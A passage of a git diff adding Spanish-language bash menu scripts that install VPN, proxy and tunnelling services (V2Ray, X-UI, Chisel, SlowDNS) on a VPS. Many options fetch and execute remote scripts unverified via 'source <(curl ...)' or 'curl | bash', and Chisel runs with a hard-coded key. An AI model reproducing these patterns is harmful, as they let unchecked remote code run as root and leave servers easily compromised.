+curl -o /usr/bin/x-ui -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/x-ui.sh +chmod +x /usr/bin/x-ui + +msg -ama " UNLOCK SYSTEMCTL ...." + if systemctl daemon-reload &> /dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar +fi +msg -ama " HABILITANDO X-UI ...." + if systemctl x-ui enable &> /dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar +fi + +msg -ama " Reiniciando X-UI ...." + if systemctl x-ui restart &> /dev/null ;then + msg -verd " Con exito!!!" + msg -bar + else + msg -verm " Con fallo!!!" + msg -bar +fi + +[[ -f "/usr/sbin/ufw" ]] && ufw allow 54321/tcp 1> /dev/null 2> /dev/null +} + +v2ray-socket() { +msg -bar +echo -e "MOTOR DE INSTALACION DE PANNEL WEB Y CONSOLA DE V2RAY Y XRAY" +msg -bar +echo -e " \033[0;35m[\033[0;36m1\033[0;35m] \033[0;34m${flech}\033[0;33m Original (Todo en Consola) \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m2\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Rufu99 Mod @ChumoGH \033[0;32m(#OFICIAL) " #\033[0;33m(#EXPERIMENTAL)" +echo -e " \033[0;35m[\033[0;36m3\033[0;35m] \033[0;34m${flech}\033[0;33m MENU Reforma @ChumoGH \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m4\033[0;35m] \033[0;34m${flech}\033[0;33m Pannel WEB ( X-RAY ) Traduccion @ChumoGH \033[0;32m(#OFICIAL)" +echo -e " \033[0;35m[\033[0;36m5\033[0;35m] \033[0;34m${flech}\033[0;33m REMOVED V2RAY BASE " +#echo -e " \033[0;35m[\033[0;36m6\033[0;35m] \033[0;34m${flech}\033[0;33m FIX PARA INSTALLS FAILS DE V2RAY " +msg -bar +selection=$(selection_fun 7) +case ${selection} in +1) +[[ -e /etc/v2ray/config.json ]] && v2r.sh || source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray.sh) +;; +2) +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/v2ray_manager.url.sh) +;; +3) +unset yesno +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +echo "DESEAS ENTRAR AL MENU PASO A PASO " +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +if [[ ${yesno} = @(s|S|y|Y) ]]; then +echo 'source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/v2ray1.sh)' > /bin/v2ray.menu +chmod +x /bin/v2ray.menu +v2ray.menu +else +v2ray +fi +exit +;; +4) +[[ -e /usr/bin/x-ui ]] && x-ui || v2ui +;; +5) +source <(curl -sL https://multi.netlify.com/v2ray.sh) --remove +source <(curl -sL https://git.io/fNgqx) --remove +rm -rf /usr/local/V2ray.Fun +rm -f /etc/v2ray/* +rm -rf /etc/v2ray/ +exit +;; +99) +msg -bar +echo -e "" +echo -e " ESTE PROCESO PUEDE DEMORAR UN POCO " +echo -e "" +echo -e " LE RECOMENDAMOS SER PACIENTE DURANTE EL PROCESO" +echo "" +read -p "PRESIONE ENTER PARA COMENZAR" +_fix_() { +apt update +sudo apt install software-properties-common +sudo add-apt-repository ppa:deadsnakes/ppa +apt update +sudo apt install python3.7 -y +python3.7 --version +sudo update-alternatives --install /usr/bin/python3 python3 /usr/bin/python3.7 2 +sudo update-alternatives --config python3 +python3.7 -m pip install pip +sudo apt-get install -y build-essential checkinstall libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev zlib1g-dev openssl libffi-dev python3-dev python3-setuptools wget +mkdir /tmp/Python37 +cd /tmp/Python37 +wget https://www.python.org/ftp/python/3.7.0/Python-3.7.0.tar.xz +tar xvf Python-3.7.0.tar.xz +cd /tmp/Python37/Python-3.7.0 +./configure +sudo make altinstall + sync + echo 3 >/proc/sys/vm/drop_caches + sync && sysctl -w vm.drop_caches=3 + sysctl -w vm.drop_caches=0 + swapoff -a + swapon -a + killall kswapd0 > /dev/null 2>&1 + killall tcpdump > /dev/null 2>&1 + killall ksoftirqd > /dev/null 2>&1 +} +function aguarde() { + helice() { + _fix_ >/dev/null 2>&1 & + tput civis + while [ -d /proc/$! ]; do + for i in / - \\ \|; do + sleep .1 + echo -ne "\e[1D$i" + done + done + tput cnorm + } + echo -ne "\033[1;37m FIXEANDO PYTHON 3.7 \033[1;32mV2RAY \033[1;37m. \033[1;32m.\033[1;32m.\033[1;33m.\033[1;31m. \033[1;33m" + helice + echo -e "\e[1DOk" +} +echo -e " ESTE PROCESO DEMORARA UN POCO, TENGA PACIENCIA!!!" +echo -e "" +aguarde +#clear&&clear +msg -bar +echo -e "" +echo -e " ESTE PROCESO FINALIZO " +echo -e "" +echo -e " PRUEBE INSTALAR V2RAY NUEVAMENTE" +echo "" +;; +*) +return 0 +;; +esac +} + +fun_openvpn () { +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/openvpn.sh) +} + +function tcpd(){ +echo -e "A continuacion se instalara el TCP DNS" +echo -e "Este paquete solo funcionara en Debian/Ubuntu" +echo -e "AVISO!!!" +echo -e "Para realizar la instalacion de TCP DNS" +echo -e "Debes configurar previamente tu DNS/Dominio" +echo -e "Si aun no lo haz configurado el DNS/Dominio" +echo -e "Presiona CTRL + C para cancelar la instalacion" +echo -e "Si ya configuraste tu DNS/Dominio Correctamente, presiona ENTER" +read -p " " +echo -e "Espera un momento..." +echo -e "Limpiando DNS Primario..." +sleep 1 +sed -i '/DNSStubListener/d' /etc/systemd/resolved.conf +echo -e "Agregando Fix DNS Primario..." +sleep 1 +echo "DNSStubListener=no" >> /etc/systemd/resolved.conf +echo -e "Reiniciando DNS Primario..." +sleep 1 +ln -sf /run/systemd/resolve/resolv.conf /etc/resolv.conf +systemctl restart systemd-resolved +echo -e "Instalando paquetes Necesarios, espere... " +sleep 1 +apt-get install python-pip -y 1> /dev/null 2> /dev/null +apt-get install libevent-dev -y 1> /dev/null 2> /dev/null +apt-get install python-gevent -y 1> /dev/null 2> /dev/null +apt-get install python-daemon -y 1> /dev/null 2> /dev/null +git clone https://github.com/henices/Tcp-DNS-proxy.git 1> /dev/null 2> /dev/null +cd Tcp-DNS-proxy/ +wget https://raw.githubusercontent.com/serverdensity/python-daemon/master/daemon.py +chmod +x ./install.sh +./install.sh +screen -dmS tcpdns python tcpdns.py -f tcpdns.json.example +cd /root +echo -e "TCP DNS Instalado" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +read -p " " +return 0 +} + +slow-dns () { +clear&&clear +apt-get install ncurses-utils > /dev/null 2>&1 +msg -bar +[[ ! -d /ADMcgh/slow/ ]] && mkdir -p /ADMcgh/slow/ +source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/SlowDNS.sh) +} + +_funUDP () { +[[ -e /tmp/udpSS ]] && bash /tmp/udpSS || { +wget -q -O /tmp/udpSS https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/UDPserver.sh +bash /tmp/udpSS +} +rm -f /tmp/udpSS +} + +function dnsserver(){ +echo -e "Instalando DNS Server" +curl -sSL https://download.technitium.com/dns/install.sh | bash 1> /dev/null 2> /dev/null +echo -e "Actualizando DNS del Servidor" +echo -e "DNS Server Instalado" +echo -e "Consola Web DNS Server: http://$(cat < /bin/ejecutar/IPcgh):5380/" +echo -e "No olvide establecer su password admin del Panel" +} + + +fun_chisel() { + cor1='\033[41;1;37m' + cor2='\033[44;1;37m' + scor='\033[0m' + GREEN='\033[1;32m' + YELLOW='\033[1;33m' + SCOLOR='\033[0m' + echo -e "\E[44;1;37m GERENCIAR CHISEL \E[0m" + echo "" + + + [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && { + sks='\033[1;32mON' + echo -e "\033[1;33mPORTAS\033[1;37m: \033[1;32m$(netstat -nplt | grep 'docker' | awk {'print $4'} | cut -d: -f2 | xargs)" + } || { + sks='\033[1;31mOFF' + } + [[ "$(netstat -tlpn | grep 'docker' | wc -l)" != '0' ]] && { + chiselsts="\033[1;32m?? " + } || { + chiselsts="\033[1;31m?? " + } + echo "" + echo -e "\033[1;31m[\033[1;36m1\033[1;31m] \033[1;37m?? \033[1;33mATIVAR CHISEL $chiselsts \033[0m" + echo -e "\033[1;31m[\033[1;36m2\033[1;31m] \033[1;37m?? \033[1;33mREINICIAR CHISEL\033[0m" + echo -e "\033[1;31m[\033[1;36m0\033[1;31m] \033[1;37m?? \033[1;33mVOLTAR\033[0m" + echo "" + echo -ne "\033[1;32mRaj, escolhe uma carta \033[1;33m?\033[1;37m " + read resposta + if [[ "$resposta" = '1' ]]; then + if netstat -nltp | grep 'docker' 1>/dev/null 2>/dev/null; then + clear + echo -e "\E[41;1;37m CHISEL \E[0m" + echo "" + fun_chiseloff() { + docker stop chisel + docker rm chisel + docker.io stop chisel + docker.io rm chisel + + } + echo -e "\033[1;32mDESACTIVANDO CHISEL\033[1;33m" + echo "" + fun_bar 'fun_chiseloff' + echo "" + echo -e "\033[1;32mCHISEL DESACTIVADO CON EXITO!\033[1;33m" + sleep 3 + fun_chisel + else + clear + fun_installdocker() { + _pacotes=("docker" "docker.io") + for _prog in ${_pacotes[@]}; do + apt install $_prog -y + done + } + echo -e "\n${YELLOW}ESTEJA CIENTE QUE ESSE METODO É INSTAVEL\nPODE OU NÃO FUNCIONAR NA SUA MAQUINA\nFIQUE CIENTE DOS RISCOS ! ${SCOLOR}\n" + echo -ne "${GREEN}DESEJA CONTINUAR A INSTALACAO ? ${YELLOW}[s/n]:${SCOLOR} " + read resp + [[ "$resp" != @(s|sim|S|SIM) ]] && { + echo -e "\n${RED}Retornando...${SCOLOR}" + sleep 2 + conexao + } + echo -e "\n\033[1;32mSOPORTE A Ubuntu 16+ \033[1;33m" + echo -e "\n\033[1;32mINSTALANDO O CHISEL !\033[1;33m" + echo "" + fun_bar 'fun_installdocker' + clear + echo -e "\E[44;1;37m CHISEL \E[0m" + echo "" + echo -ne "\033[1;32mCUAL PORTA DESEA ULTILIZAR \033[1;33m?\033[1;37m: " + read porta + [[ -z "$porta" ]] && { + echo "" + echo -e "\033[1;31mPUERTO INVALIDO!" + sleep 3 + clear + fun_chisel + } + verif_ptrs $porta + clear + echo -ne "\033[1;32mNOMBRE DE USUARIO:\033[1;37m ";read username + [[ -z $username ]] && { + echo -e "\n${cor1}NO INGRESO NOMBRE DE USUARIO!${scor}\n" + fun_chisel + } + [[ ${username} != ?(+|-)+([a-zA-Z0-9]) ]] && { + echo -e "\n${cor1}SU NOMBRE DE USUARIO ES INCORRECTO!${scor}" + echo -e "${cor1}NO USE ESPACIOS, NI CARACTERES ESPECIALES!${scor}\n" + fun_chisel + } + sizemin=$(echo ${#username}) + [[ $sizemin -lt 2 ]] && { + echo -e "\n${cor1}Você digitou um nome de usuário muito curto${scor}" + echo -e "${cor1}use no mínimo dois caracteres!${scor}\n" + fun_chisel + } + sizemax=$(echo ${#username}) + [[ $sizemax -gt 10 ]] && { + echo -e "\n${cor1}Você digitou um nome de usuário muito grande" + echo -e "${cor1}use no máximo 10 caracteres!${scor}\n" + fun_chisel + } + echo -ne "\033[1;32mCONTRASEÑA:\033[1;37m ";read password + [[ -z $password ]] && { + echo -e "\n${cor1}NO SE INGRESO CONTRASEÑA!${scor}\n" + fun_chisel + } + sizepass=$(echo ${#password}) + [[ $sizepass -lt 4 ]] && { + echo -e "\n${cor1}CONTRASEÑA MUY CORTA, USE MINIMO 4 CARACTERES${scor}\n" + fun_chisel + } + echo -e "\n\033[1;32mCONFIGURANDO CHISEL !\033[0m" + echo "" + fun_inichisel() { + docker run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password" + docker.io run --name chisel -p $porta:$porta -d --restart always jpillora/chisel server -p $porta --socks5 --key supersecret --auth "$username:$password" + } + fun_bar 'fun_inichisel' + clear + echo -e "\n\033[1;32mCHISEL INSTALADO EXITOSAMENTE !\033[1;31m PORTA: \033[1;33m${porta}\033[0m" + sleep 3 + clear + fun_chisel + fi + elif [[ "$resposta" = '2' ]]; then + clear + echo -e "\n\033[1;32mREINICIANDO CHISEL !\033[1;33m" + echo "" + fun_attchisel() { + docker restart chisel + docker.io restart chisel + } + fun_attchisel + clear + echo -e "\n\033[1;32mCHISEL REINICIANDO EXITOSAMENTE !\033[1;33m" + sleep 1 + fun_chisel + elif [[ "$resposta" = '0' ]]; then + echo "" + echo -e "\033[1;31mRetornando...\033[0m" + sleep 1 + return + else + echo "" + echo -e "\033[1;31mOpcao invalida !\033[0m" + sleep 1 + fi + } +while true; do +#FUNCOES +cor[0]="\033[0m" +cor[1]="\033[1;34m" +cor[2]="\033[1;32m" +cor[3]="\033[1;37m" +cor[4]="\033[1;36m" +cor[5]="\033[1;33m" +cor[6]="\033[1;35m" +unset squid +unset dropbear +unset openvpn +unset stunel +unset shadow +unset telegran +unset socks +unset gettun +unset tcpbypass +unset webminn +unset ddos +unset v2ray +_portbaSE="$(netstat -tunlp)" +_ps="$(ps x)" +tojanss=`if echo -e "$_portbaSE" | grep trojan 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +echo -e "\033[1;31m[OFF]" +fi`; +[[ $(echo -e "$_portbaSE" | grep trojan) ]] && pTROJ="\033[1;32m[ON] " || pTROJ="\033[1;31m[OFF]" +pps=`if echo -e "$_portbaSE" | grep psiphond 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +echo -e "\033[1;31m[OFF]" +fi`; +v2ray=`if echo -e "$_portbaSE" | grep v2ray 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else + if echo -e "$_portbaSE" | grep x-ui 1> /dev/null 2> /dev/null; then + echo -e "\033[1;32m[\033[0;34mUI\033[1;32m] " + else + echo -e "\033[1;31m[OFF]" + fi +fi`; + +xclash=`if echo -e "$_portbaSE" | grep clash 1> /dev/null 2> /dev/null; then +echo -e "\033[1;32m[ON] " +else +[[ -e /root/.config/clash/config.yaml ]] && echo -e "\033[1;32m[\033[0;34mCFA\033[1;32m]" || echo -e "\033[1;31m[OFF]" +fi`; +[[ $(echo -e "${_ps}"| grep udpServer| grep -v grep) ]] && _pidUDP="\033[0;34m[US] " || { + [[ $(echo -e "${_ps}"| grep UDP-Custom| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mUC\033[1;32m] " || { + [[ $(echo -e "${_ps}"| grep hysteria| grep -v grep) ]] && _pidUDP="\033[1;32m[\033[0;34mHYS\033[1;32m] " + } || _pidUDP="\033[1;31m[OFF]" +} +slowssh=$(echo -e "${_ps}"| grep "slowdns-ssh"|grep -v grep > /dev/null && echo -e "\033[1;32m?? " || echo -e "\033[1;31m?? ") +slowpid=$(echo -e "${_ps}" | grep -w "dns-server" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $slowpid ]] && P1="\033[0;32m[ON] " || P1="\033[1;31m[OFF]" +[[ -e /etc/squid3/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]" +[[ -e /etc/squid/squid.conf ]] && squid="\033[0;32m[ON] " || squid="\033[1;31m[OFF]" +[[ $(echo -e "$_portbaSE" |grep dropbear|head -1) ]] && dropb="\033[1;32m[ON] " || dropb="\033[1;31m[OFF]" +[[ -e /etc/openvpn/server.conf ]] && openvpn="\033[0;32m[ON] " || openvpn="\033[1;31m[OFF]" +[[ $(echo -e "$_portbaSE" |grep stunnel|head -1) ]] && stunel="\033[1;32m[ON] " || stunel="\033[1;31m[OFF]" +[[ -e /etc/shadowsocks.json ]] && shadow="\033[1;32m[ON]" || shadow="\033[1;31m[OFF]" +[[ "$(echo -e "${_ps}" | grep "ultimatebot" | grep -v "grep")" != "" ]] && telegran="\033[1;32m[ON]" +[[ $(echo -e "${_ps}" | grep "PDirect.py") ]] && socks="\033[1;32m[\033[0;34mPyD\033[1;32m]" || socks="\033[1;31m[OFF]" +[[ $(echo -e "${_ps}" | grep "PDirect80") ]] && socksA="\033[1;32m[\033[0;34mRUN\033[1;32m]" || socksA="\033[1;31m[OFF]" +[[ -e /ADMcgh/edbypass ]] && tcpbypass="\033[1;32m[ON]" || tcpbypass="\033[1;31m[OFF]" +[[ -e /etc/webmin/miniserv.conf ]] && webminn="\033[1;32m[ON]" || webminn="\033[1;31m[OFF]" +[[ -e /usr/local/x-ui/bin/config.json ]] && v2ui="\033[1;32m[ON]" || v2ui="\033[1;31m[OFF]" +[[ -e /usr/local/etc/trojan/config.json ]] && troj="\033[1;32m[ON]" || troj="\033[1;31m[OFF]" +[[ -e /etc/default/sslh ]] && sslh="\033[1;32m[ON] " || sslh="\033[1;31m[OFF]" +[[ -e /usr/local/ddos/ddos.conf ]] && ddos="\033[1;32m[ON]" +ssssrr=`ps -ef |grep -v grep | grep server.py |awk '{print $2}'` +[[ ! -z "${ssssrr}" ]] && cc="\033[1;32m" || cc="\033[1;31m" +[[ -d /usr/local/shadowsocksr ]] && { +user_info=$(cd /usr/local/shadowsocksr &> /dev/null && python mujson_mgr.py -l ) +user_t="\033[1;33m$(echo "${user_info}"|wc -l) Cts" +} || user_t="\033[1;31m[OFF]" +[[ `grep -c "^#ADM" /etc/sysctl.conf` -eq 0 ]] && _tcpd="\033[1;31m[OFF]" || _tcpd="\033[0;31m[\033[0;32mON\033[0;31m] " +[[ "$(cat /etc/pam.d/common-password | grep ChumoGH | wc -l)" != '0' ]] && _fv="\033[0;31m[\033[0;32mON\033[0;31m]" || _fv="\033[1;31m[OFF]" +[[ -e /etc/.hosts.original ]] && _ADS="\033[0;31m[\033[0;32mON\033[0;31m]" || _ADS="\033[1;31m[OFF]" +[[ "$(echo -e "$_portbaSE" | grep 'docker' | wc -l)" != '0' ]] && chiselsts="\033[1;32m[ON]" || chiselsts="\033[1;31m[OFF]" +tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 && tput cuu1 >&2 && tput dl1 >&2 +echo -e "${cor[5]} ${h0nG} INSTALACION DE PROTOCOLOS ${h0nG} " +msg -bar +echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;33m${flech} ${cor[3]}SQUID $squid \033[0;35m [\033[0;36m11\033[0;35m]\033[0;33m${flech} ${cor[3]}PSIPHON SERVER $pps" +echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;33m${flech} ${cor[3]}DROPBEAR $dropb \033[0;35m [\033[0;36m12\033[0;35m]\033[0;33m${flech} ${cor[3]}TCP DNS \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m3\033[0;35m]\033[0;33m${flech} ${cor[3]}OPENVPN $openvpn \033[0;35m [\033[0;36m13\033[0;35m]\033[0;33m${flech} ${cor[3]}WEBMIN $webminn" +echo -e "\033[0;35m [\033[0;36m4\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL/TLS $stunel \033[0;35m [\033[0;36m14\033[0;35m]\033[0;33m${flech} ${cor[3]}SlowDNS $P1" +echo -e "\033[0;35m [\033[0;36m5\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS-R $shadow \033[0;35m [\033[0;36m15\033[0;35m]\033[0;33m${flech} ${cor[3]}SSL->PYTHON ${socksA}" #\033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m6\033[0;35m]\033[0;33m${flech} ${cor[3]}SHADOWSOCKS $user_t \033[0;35m [\033[0;36m16\033[0;35m]\033[0;33m${flech} ${cor[3]}SSLH Multiplex $sslh" +echo -e "\033[0;35m [\033[0;36m7\033[0;35m]\033[0;33m${flech} ${cor[3]}PROXY PYTHON $socks \033[0;35m [\033[0;36m17\033[0;35m]\033[0;33m${flech} ${cor[3]}OVER WEBSOCKET \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m8\033[0;35m]\033[0;33m${flech} ${cor[3]}V2RAY SWITCH $v2ray \033[0;35m [\033[0;36m18\033[0;35m]\033[0;33m${flech} ${cor[3]}SOCKS5 \033[0;33m(#BETA)" +echo -e "\033[0;35m [\033[0;36m9\033[0;35m]\033[0;33m${flech} ${cor[3]}CFA ( CLASH ) $xclash\033[0;35m [\033[0;36m19\033[0;35m]\033[0;33m${flech} ${cor[3]}Protocolos UDP $_pidUDP" +echo -e "\033[0;35m [\033[0;36m10\033[0;35m]\033[0;33m${flech} ${cor[3]}TROJAN-GO $pTROJ \033[0;35m [\033[0;36m20\033[0;35m]\033[0;33m${flech} ${cor[5]}FUNCIONES EN DISEO!" +msg -bar #msg -bar +echo -e "${cor[5]} ${h0nG} INSTALACION DE HERRAMIENTAS Y SERVICIOS ${h0nG} " +msg -bar +echo -e "\033[0;35m [\033[0;36m21\033[0;35m]\033[0;33m ${flech} ${cor[3]}BLOCK TORRENT \033[0;35m [\033[0;36m22\033[0;35m]\033[0;33m ${flech} ${cor[3]}BadVPN $_badvpn" +echo -e "\033[0;35m [\033[0;36m23\033[0;35m]\033[0;33m ${flech} ${cor[3]}TCP (BBR|Plus) $_tcpd \033[0;35m [\033[0;36m24\033[0;35m]\033[0;33m ${flech} ${cor[3]}FAILBAN $fail_b" +echo -e "\033[0;35m [\033[0;36m25\033[0;35m]\033[0;33m ${flech} ${cor[3]}ARCHIVO ONLINE \033[0;31m[\033[0;32m${portFTP}\033[0;31m] \033[0;35m [\033[0;36m26\033[0;35m]\033[0;33m ${flech} ${cor[3]}UP|DOWN SpeedTest " #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m27\033[0;35m]\033[0;33m ${flech} ${cor[3]}DETALLES DEL VPS \033[0;35m [\033[0;36m28\033[0;35m]\033[0;33m ${flech} ${cor[3]}Block ADS $_ADS" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m29\033[0;35m]\033[0;33m ${flech} ${cor[3]}DNS CUSTOM (NETFLIX) \033[0;35m [\033[0;36m30\033[0;35m]\033[0;33m ${flech} ${cor[3]}FIREWALLD CUSTOM" #\033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ? $(msg -bra "\e[3;33m[ SALIR ]\e[0m")" +echo -e "\033[0;35m [\033[0;36m31\033[0;35m]\033[0;33m ${flech} ${cor[3]}Fix PassWD VULTR ${_fv} \033[0;35m [\033[0;36m0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;41m[ REGRESAR ]\e[0m")" +msg -bar +selection=$(selection_fun 20) +case ${selection} in +0) break;; +1) fun_squid && read -p " Enter";; +2) fun_dropbear && read -p " Enter";; +3) fun_openvpn && read -p " Enter";; +4) ssl_stunel && read -p " Enter";; +5) fun_shadowsocks && read -p " Enter";; +6) ssrmenu && read -p " Enter";; +7) iniciarsocks && read -p " Enter";; +8) v2ray-socket && read -p " Enter";; +9) instala_clash && read -p " Enter";; +10) trojan && read -p " Enter";; +11) psix && read -p " Enter";; +12) tcpd && read -p " Enter";; +13) web_min && read -p " Enter";; +14) slow-dns && read -p " Enter";; +15) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/autoconfig.sh) && read -p " Enter";; +16) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/sslh-back3.sh) && read -p " Enter";; +17) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/ws-java.sh) && read -p " Enter";; +18) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/socks5.sh) && read -p " Enter";; +19) _funUDP && read -p " Enter";; +20) source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu_inst/h_beta.sh) && read -p " Enter";; +#21)fun_chisel && read -p " Enter";; +21) source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh) && read -p " Enter";; +22) funBadVPN && read -p " Enter";; +23) funTCP && read -p " Enter";; +24) funFAILBAN && read -p " Enter";; +25) funARQONLINE && read -p " Enter";; +26) funSPEED && read -p " Enter";; +27) funDETSYS && read -p " Enter";; +28) BlockADS && read -p " Enter";; +29) wget -q -O /tmp/dnsNN.sh ${_link}l1hjn77fp0cywsl/dnsNN.sh?dl=0; chmod +x /tmp/dnsNN.sh;bash /tmp/dnsNN.sh && read -p " Enter";; +31) BlockADS && read -p " Enter";; +30) fun_bar 'fun_ports' && read -p " Enter";; +esac +done +#Reinicia ADM diff --git a/Lista/msg b/Lista/msg new file mode 100644 index 0000000..2771d8f --- /dev/null +++ b/Lista/msg @@ -0,0 +1,225 @@ +#!/bin/bash +# menu maker (opciones 1, 2, 3,.....) +#HOLA + +flech='➮' cOlM='⁙' && TOP='‣' && TTini='=====>>►► 🐲' && cG='/c' && TTfin='🐲 ◄◄<<=====' && TTcent='💥' && RRini='【 ★' && RRfin='★ 】' && CHeko='✅' && ScT='🛡️' && FlT='⚔️' && BoLCC='🪦' && ceLL='🧬' && aLerT='⚠️' && _kl1='ghkey' && lLaM='🔥' && pPIniT='∘' && bOTg='🤖' && kL10='tc' && rAy='⚡' && tTfIn='】' && TtfIn='【' tTfLe='►' && am1='/e' && rUlq='🔰' && h0nG='🍄' && lLav3='🗝️' && m3ssg='📩' && pUn5A='⚜' && p1t0='•' nib="${am1}${kL10}" +cOpyRig='©' && mbar2=' •••••••••••••••••••••••' + +_check1=$5 +_check2=$6 +_check3=$7 +_check4=$8 +_check5=$9 + +menu_func(){ + local options=${#@} + local array + for((num=1; num<=$options; num++)); do + echo -ne "$(msg -verd " [$num]") $(msg -verm2 ">") " + array=(${!num}) + case ${array[0]} in + "-vd") echo -e "\033[1;33m[!]\033[1;32m ${array[@]:1}";; + "-vm") echo -e "\033[1;33m[!]\033[1;31m ${array[@]:1}";; + "-fi") echo -e "${array[@]:2} ${array[1]}";; + -bar|-bar2|-bar3|-bar4) echo -e "\033[1;37m${array[@]:1}\n$(msg ${array[0]})";; + *) echo -e "\033[1;37m${array[@]}";; + esac + done + } + + +selection_fun () { +local selection="null" +local range +for((i=0; i<=$1; i++)); do range[$i]="$i "; done +while [[ ! $(echo ${range[*]}|grep -w "$selection") ]]; do +echo -ne "\033[1;37m ► Opcion : " >&2 +read selection +tput cuu1 >&2 && tput dl1 >&2 +done +echo $selection +} + + +tittle () { +[[ -z $1 ]] && rt='chukk-script' || rt='ChuKK' + clear&&clear + toilet -f future 'ChuKK-SCRIPT' | lolcat + msg -bar3 +} +in_opcion(){ + unset opcion + if [[ -z $2 ]]; then + msg -nazu " $1: " >&2 + else + msg $1 " $2: " >&2 + fi + read opcion + echo "$opcion" +} +# centrado de texto +print_center(){ + if [[ -z $2 ]]; then + text="$1" + else + col="$1" + text="$2" + fi + + while read line; do + unset space + x=$(( ( 54 - ${#line}) / 2)) + for (( i = 0; i < $x; i++ )); do + space+=' ' + done + space+="$line" + if [[ -z $2 ]]; then + msg -azu "$space" + else + msg "$col" "$space" + fi + done <<< $(echo -e "$text") +} +# titulos y encabesados +title(){ + clear + msg -bar + if [[ -z $2 ]]; then + print_center -azu "$1" + else + print_center "$1" "$2" + fi + msg -bar + } + +# finalizacion de tareas + enter(){ + msg -bar + text="►► Presione enter para continuar ◄◄" + if [[ -z $1 ]]; then + print_center -ama "$text" + else + print_center "$1" "$text" + fi + read + } + +# opcion, regresar volver/atras +back(){ + msg -bar + echo -ne "$(msg -verd " [0]") $(msg -verm2 ">") " && msg -bra "\033[1;41mVOLVER" + msg -bar + } + +msg () { +local colors="/etc/new-adm-color" +if [[ ! -e $colors ]]; then +COLOR[0]='\033[1;37m' #BRAN='\033[1;37m' +COLOR[1]='\e[31m' #VERMELHO='\e[31m' +COLOR[2]='\e[32m' #VERDE='\e[32m' +COLOR[3]='\e[33m' #AMARELO='\e[33m' +COLOR[4]='\e[34m' #AZUL='\e[34m' +COLOR[5]='\e[35m' #MAGENTA='\e[35m' +COLOR[6]='\033[1;97m' #MAG='\033[1;36m' +COLOR[7]='\033[1;49;95m' +COLOR[8]='\033[1;49;96m' +else +local COL=0 +for number in $(cat $colors); do +case $number in +1) COLOR[$COL]='\033[1;37m';; +2) COLOR[$COL]='\e[31m';; +3) COLOR[$COL]='\e[32m';; +4) COLOR[$COL]='\e[33m';; +5) COLOR[$COL]='\e[34m';; +6) COLOR[$COL]='\e[35m';; +7) COLOR[$COL]='\033[1;36m';; +8) COLOR[$COL]='\033[1;49;95m';; +9) COLOR[$COL]='\033[1;49;96m';; +esac +let COL++ +done +fi +NEGRITO='\e[1m' +SEMCOR='\e[0m' + case $1 in + -ne) cor="${COLOR[1]}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";; + -ama) cor="${COLOR[3]}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";; + -verm) cor="${COLOR[3]}${NEGRITO}[!] ${COLOR[1]}" && echo -e "${cor}${2}${SEMCOR}";; + -verm2) 